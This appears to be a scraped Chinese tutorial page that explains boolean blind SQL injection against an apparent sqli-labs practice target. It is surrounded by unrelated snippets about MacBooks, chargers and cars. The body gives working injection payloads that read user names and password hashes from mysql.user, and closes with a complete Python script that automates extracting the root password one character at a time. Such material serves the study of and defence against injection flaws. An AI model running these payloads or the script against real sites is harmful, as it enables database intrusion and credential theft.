<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
簡單分析一下網站的功能,大致如下:
需要使用者在位址列中提交引數,根據引數中的id查詢對應的使用者資訊。
如果id存在,則顯示查詢成功,比如 輸入?id=1
如果id不存在,則頁面空顯示,比如輸入 ?id=0(使用者id不能是0或負數,id為0時,查詢結果為空,會導致頁面空顯示)
如果資料庫報錯,頁面也是空顯示,比如輸入?id=1’ 或 ?id=1"(引數中攜帶引號會導致資料庫報錯,前提是後臺程式碼未過濾單引號)
頁面沒有顯示位,不適合聯合注入。
沒有資料庫的報錯資訊,不適合使用報錯注入。
只有正確和錯誤兩種情況,推薦使用布林盲注。
網站沒有過濾引數,不需要繞過,盲注的時間複雜度較高,文末提供Python指令碼。
輸入引數 ?id=1’,頁面空顯示,說明單引號被資料庫識別,導致資料庫報錯。
輸入引數 ?id=1",頁面正常顯示查詢成功,說明雙引號未被資料庫識別;1" 被資料庫識別成了 1,實際查詢了id為1的使用者。
單引號可以識別,雙引號不被識別,初步判斷:網站的注入點是單引號,下面使用萬能賬號進一步驗證。
輸入 ?id=1’ and 1 – a,頁面正常顯示,查詢成功。
輸入 ?id=1’ and 0 – a,頁面空顯示,未查詢到。
人為構造引數可以使頁面產生對應的變化,由此判斷,網站存在注入,注入點為單引號字元型注入。
輸入引數 ?id=1’ and length(“abc”)>1 – a,頁面正常顯示查詢成功。
length(“abc”)可以計算出字串“abc”的長度,長度為3。
length(“abc”)>1 結果為 true,因此,引數等價於 ?id=1’ and 1 – a。
輸入引數 ?id=1’ and length(“abc”)<1 – a,頁面空顯示。
length(“abc”)<1 結果為 false,引數等價於 ?id=1’ and 0 – a。
由此可以推斷出,長度函數未被過濾,可以正常使用,接下來我們開始猜解資料庫管理員密碼的長度。
mysql.user表用來存放資料庫的使用者名稱和密碼等資訊,我們查詢這個表即可。
輸入以下payload:
?id=1' and length( (select group_concat(user,password) from mysql.user) )=1 -- a
我們先假設使用者名稱和密碼的總長度為1,結果肯定是空顯示,我們將測試長度依次遞增,測試2到n,當測試長度遞增到42時,頁面正常顯示,由此可判斷使用者名稱和密碼的總長度為42,payload如下:
?id=1' and length( (select group_concat(user,password) from mysql.user) )=42 -- a
長度確定後,我們從第一個字元開始,猜解出完整的資料。
ASCLL碼錶中包含了字元的所有可能性(字母、數位或特殊符號),ASCLL總共127個字元,其中可輸入的字元只有32~126,我們窮舉每一種可能性,即可猜解出
完整的資料。
我們先假設第一個字元的ASCLL碼是32,payload如下:
?id=1' and ascii(substr( (select group_concat(user,password) from mysql.user) ,1,1))=32 -- a
頁面空顯示說明錯誤,我們從32開始遞增至126,當頁面正常顯示時(出現 You are in……),說明猜解正確。
使用盲注時,手動猜解時間成本太大,推薦使用Python猜解,指令碼如下:
import requests # 只需要修改url 和 兩個payload即可 # 目標網址(不帶引數) url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8" # 猜解長度使用的payload payload_len = """?id=1' and length(( select group_concat(user,password) from mysql.user ))={n} -- a""" # 列舉字元使用的payload payload_str = """?id=1' and ascii(substr(( select group_concat(user,password) from mysql.user ),{n},1))={r} -- a """ # 獲取長度 def getLength(url, payload): length = 1 # 初始測試長度為1 while True: response = requests.get(url= url+payload_len.format(n= length)) # 頁面中出現此內容則表示成功 if 'You are in...........' in response.text: print('測試長度完成,長度為:', length) return length; else: print('正在測試長度:',length) length += 1 # 測試長度遞增 # 獲取字元 def getStr(url, payload, length): str = '' # 初始表名/庫名為空 for l in range(1, length+1): for n in range(33, 126): response = requests.get(url= url+payload_str.format(n= l, r= n)) if 'You are in...........' in response.text: str+= chr(n) print('第', l, '個字元猜解成功:', str) break; return str; # 開始猜解 getStr(url, payload_str, getLength(url, payload_len))
指令碼猜解結果如下,成功猜解root使用者密碼:
到此這篇關於Python猜解網站資料庫管理員密碼的指令碼的文章就介紹到這了,更多相關Python猜解管理員密碼內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45